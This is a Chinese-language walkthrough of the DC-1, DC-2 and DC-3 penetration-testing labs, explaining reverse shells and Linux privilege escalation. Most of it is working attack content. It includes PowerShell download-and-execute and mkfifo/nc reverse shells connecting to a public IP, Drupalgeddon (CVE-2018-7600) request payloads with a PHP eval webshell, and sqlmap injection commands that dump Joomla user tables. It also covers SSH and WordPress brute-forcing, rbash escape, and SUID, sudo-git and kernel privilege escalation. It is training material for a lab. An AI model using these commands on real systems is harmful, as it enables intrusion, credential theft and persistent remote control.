DC-1,DC-2,DC-3靶场记录--反弹shell
反弹shell——-dc1,2,3靶场记录
- 链接持久性问题
- 内网穿透
为什么要反弹shell?
WebShell 是基于应用层的HTTP/HTTPS协议,无法与目标服务器建立持久性TCP连接。目前来说,要想保持持久性连接,通信过程不能四次挥手。
所以我们要进行反弹shell来进行一段连续的操作来进行,提权等类似的操作。
注意:webshell和反弹shell的shell不是一个概念。注意区分。
1,建立Shell通道
Shell种类 | 说明 |
---|---|
正向shell | 例如:Telnet,ssh,RDP等。特点是目标服务器监听端口,等待连接。“你给我等着”。 |
反向shell | 特点是让目标主机主动连接我。”我等着你” |
目标服务器,通过网络的方式能连接“我”。
Webshell(正向shell)是基于HTTP的,不是持久性连接,可以通过反弹shell的方法获得持久性的链接(基于TCP协议的)。
其实他之所以反弹shell,初衷是为了服务于提权等后续需要在一个会话里面完成的具有连续性的操作。(通常情况下将持久性Shell作为提权的前提条件)
2,windows平台
windows系统命令解释器:
- cmd.exe
- powershell.exe
2.1 cmd反弹
需要借助nc工具。
步骤:
- 上传nc.exe到服务器
- 本地监听特殊端口号
1 | nc.exe -lvnp 2333 |
- 服务器端反弹shell
反弹shell命令查询网站:
1 | https://weibell.github.io/reverse-shell-generator/ |
2.2 powershell反弹
需要从外网下载工具。
步骤:
- 本地监听特殊端口号
1 | nc -lvnp 54321 |
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 54321 |
- 服务器端反弹shell
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 42.193.105.220 -p 54321 -e cmd |
这段 PowerShell 命令不会将脚本文件实际保存到本地文件系统中。相反,它直接从远程服务器下载脚本的内容,并立即在内存中执行这些内容。具体步骤如下:
下载脚本内容:
1
(New-Object System.Net.Webclient).DownloadString('http://42.193.105.220:9999/powercat.ps1')
这部分代码使用
System.Net.WebClient
类创建一个新的 Web 客户端对象,并通过DownloadString
方法从指定的 URL 下载脚本的内容。下载的内容是一个字符串,而不是一个文件。执行脚本内容:
1
IEX ( ... )
IEX
是Invoke-Expression
的缩写,它可以执行传递给它的字符串作为 PowerShell 命令。在这里,下载的脚本内容作为字符串传递给IEX
,因此该脚本将被立即执行。
由于脚本内容是在内存中直接执行的,而不是保存到本地文件系统中,因此不会在本地磁盘上留下任何文件。这种执行方式在某些情况下可以减少被检测到的风险,但也增加了安全风险,因为无法对脚本内容进行离线检查或审计。
3,linux平台
在获得目标系统Webshell的情况下。
3.1 本地监听特殊端口号
1 | nc -lvnp 54321 |
3.2 服务端反弹shell
1 | # nc 反弹shell |
3.3 进入shell交互模式
可进可不进
1 | -c 'import pty;pty.spawn("/bin/bash")' |
Linux提权:
Web用户权限提升至root用户权限。除了以root权限执行命令以外,能够读写系统中的任意文件,也认为具有最高权限。
<1>SUID提权:
SUID是特殊权限位,具有SUID标志的命令在执行期间继承了命令所有者的权限,这个命令所有者通常是root用户。
可去这个网站查询相关提权指令:
1.1 find提权
GTFOBins:(https://gtfobins.github.io/#)
1 | find / -perm -4000 2>/dev/null |
1 | 利用find进行提权: |
1.2 dc-1靶机:
<1>主机发现:扫描整个192.168.189.0/24扫描整个网段,发现存活主机:192.168.189.139
<2>扫描端口:nmap 192.168.189.139 -p-
发现开放端口有80端口,22端口
<3>直接访问http服务,发现是一个php的durpal框架,这里可以利用droopescan对其进行扫描,这个工具是专门的durpal扫描器
1 | ./droopescan scan drupal -u "http://192.168.189.139" |
然后上网查询相关版本的cve
<4>这里我直接利用awvs进行漏洞扫描:扫出来一个高危漏洞对其进行资料查询,然后进行漏洞验证
查找漏洞库,利用自己的所有已知的搜索引擎获取漏洞信息:CVE-2018-7600
1 | grep -rnw /usr/share/exploitdb/ -e "CVE-2018-7600" |
漏洞利用:需要两次请求
抓包以后改请求方法为post
第一次请求:
1 | /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id |
命令构造
1 | <?php @eval($_REQUEST[777])?> |
取得关键字符串:form_build_id= form-3VVDLYEd6zrQZywxqvcu-jhgUoHYb77X0ob-3eXVNBQ
第二次请求
构造请求
1 | /?q=file/ajax/name/%23value/form-3VVDLYEd6zrQZywxqvcu-jhgUoHYb77X0ob-3eXVNBQ |
直接执行第一次请求构造的命令,在根目录下创建shell.php 文件,即一句话木马。
成功上传webshell以后进行反弹shell操作,以便于后续的提权操作:
权限提升
- 获取root 权限
提权思路
- 利用系统内核漏洞提权
- sudo 权限泄露
- 利用SUID 提权
这个靶场利用
查找具有SUID 标识的命令
1 | flag4@DC-1:~$ find / -perm -4000 2>/dev/null |
find 命令提权
1 | flag4@DC-1:/tmp$ mkdir ajest |
thefinalfag
1 | # cd /root |
<2>sudo权限滥用:
sudo以某一个用户身份执行命令,默认情况下,以root用户身份执行命令。在sudo命令的时候需要密码验证,神奇的是需要密码是需要当前用户的密码。
通过sudo -l可以查看,当前用户可以sudo命令哪些命令
如:
2.1 git提权
2.2 dc-2靶机:
进入网站内通过指纹识别插件和whatweb可以精准识别出他的网站框架是WordPress
,所以选择用wpscan这个kali内置工具对其进行扫描:
主机发现后,对其端口进行扫描可以获得两个服务端口开放一个是ssh服务7744端口,一个是http服务80端口:
1 | nmap扫描报告如下: |
根据提示:
1 | cewl http://dc-2 > pass.dic |
1 | wpscan --no-update --url http://dc-2 -e vp,vt,u --plugins-detection mixed |
1 | 扫描信息发现了几个关键用户名: |
又因为其是WordPress框架会有一个后台:
上网上查后台路径为:http://dc-2/wp-admin
进入后台后可以考虑利用我们前面获得的用户名本和密码本进行爆破!
- 可以利用burpsuite进行爆破
- 也可以直接利用wpscan这个工具进行爆破,这里我选择用wpscan这个WordPress专用工具进行爆破:
1 | wpscan --no-update --url http://dc-2 -U 用户名本 -P 密码本 |
通过扫描我们可以得出两个可以成功登录的用户:
1 | | Username: jerry, Password: adipiscing |
这是我们直接扫web登录接口的数据;
接下来尝试用这个用户名本和密码本对ssh服务进行爆破尝试:
1 | hydra ssh://192.168.189.138:7744 -L dc2_uesr.list -P dc2_pass.dic -vV -e nsr -t 64 |
成功爆破出一个可登录ssh服务的用户名和密码:
1 | Username: tom, Password: parturient |
接下来ssh登录:
1 | ssh tom@192.168.189.138 -p 7744 |
不过成功登录后我们发现无法执行命令因为他有一个rbash的白名单限制。不准许用“/”于是我们进行如下操作:
定义命令别名:
1 | BASH_CMDS[a]=/bin/bash |
使用 BASH_CMDS
数组
定义命令别名:
1
bash复制BASH_CMDS[a]=/bin/bash
调用别名:
1
bash复制a
这样,您实际上是在调用 /bin/bash
,但使用了 a
作为别名,这可能绕过了受限 shell 的路径限制。
经过测试我使用:
1 | a whoami |
然后我查看环境变量:
1 | echo $PATH |
sudo -l
发现:在这个用户下sudo git命令不需要密码,于是尝试git提权。
通过在线网站查询git命令提权方式:
git | GTFOBins:(https://gtfobins.github.io/gtfobins/git/)
1 | sudo git branch --help config |
小技巧tips:
在他弹出的阅读里可以直接执行命令:
利用!/bin/bash
:
如下:
见证奇迹成功获取root权限:
此处他调用的命令也会教程git的sudo来的root权限!
<3>内核提权
利用Linux系统漏洞进行提权,大多数是内核漏洞。
基本步骤:
- Linux内核提权信息收集: https://github.com/The-Z-Labs/linux-exploit-suggester:
类似于windows的补丁查询以后得提权。
- 直接利用EXP即可
3.1 dirtycow
CVE-2016-5195
3.2 double-fdput()
CVE-2016-4557
1 | unzip 39772.zip |
3.3 dc-3靶机
<1>首先进行主机发现:nmap 192.168.189.0/24 -sS
成功发现主机:192.168.189.142
<2>再对其进行端口扫描:nmap 192.168.189.142 -p-
发现其开放80端口,对其进行访问
<3>进一步进行指纹识别:可利用谷歌插件wappler来发现,也可利用kali自带的whatweb对其进行扫描,也可以利用cmseek工具
<4>发现其网站框架是joolma:利用其专用的扫描工具:joomscan进行扫描 joomscan -u http://192.168.189.142/
,获得其版本利用其版本3.7.0上在线网站查询相关版本的漏洞,发现了一个sql注入的CVE漏洞:CVE-2017-8917
<5>利用各种搜索引擎查询到了相关的payload利用。
也可以在kali中查询:grep -rnw /usr/share/exploitdb/ -e "CVE-2017-8917"
这里可以看到有一个关于这个漏洞的利用文档。读一下:
1 | ┌──(root㉿zss)-[/home/zss/lab实验] |
可以看到他给出了我们使用sqlmap可以使用的payload:
sqlmap -u "http://192.168.189.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
上面就可以爆出其所有的库名。
这个爆出当前库名:
python3 sqlmap.py -u "http://192.168.189.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,version()),1)" -p "list[fullordering]" --current-db
这个爆出‘joomladb’的所有表名:
python3 sqlmap.py -u "http://192.168.189.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,version()),1)" -p "list[fullordering]" -D "joomladb" --tables
这个爆出指定表的列名:
python3 sqlmap.py -u "http://192.168.189.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,version()),1)" -p "list[fullordering]" -D "joomladb" -T "#__users" --columns
这个爆出对对应所需的字段内容:
python3 sqlmap.py -u "http://192.168.189.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,version()),1)" -p "list[fullordering]" -D "joomladb" -T "#__users" -C "username,password" --dump
爆出一个密码用户:
<6>对获得的密码进行一个爆破,利用kali内置的 john工具
直接获得密码:
<7>利用密码登录网站后台:http://192.168.189.142/administrator/
用户名:admin
密码:snoopy
成功进入后台管理系统。
<8>在后台的template组件模块上传一个一句话木马,但是你会发现你不知道木马具体位置,这时候你就可以利用搜索引擎直接上网查询joolma的目录框架就会发现目录就在/templates/beez3/shell.php,然后利用蚁剑成功连接。
<9>nc -h 查看其服务器是否有nc命令,有nc命令但是没有-e参数于是,利用没有-e参数的nc进行反弹shell,在公网IP开启54321端口的监听,然后利用蚁剑的虚拟终端进行nc反弹:命令在在线网站就能够查询(https://weibell.github.io/reverse-shell-generator/)`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 42.193.105.220 54321 >/tmp/f` 成功反弹。
<10>然后直接对其系统进行linux的系统补丁的信息查询。
然后直接利用exp进行提权操作。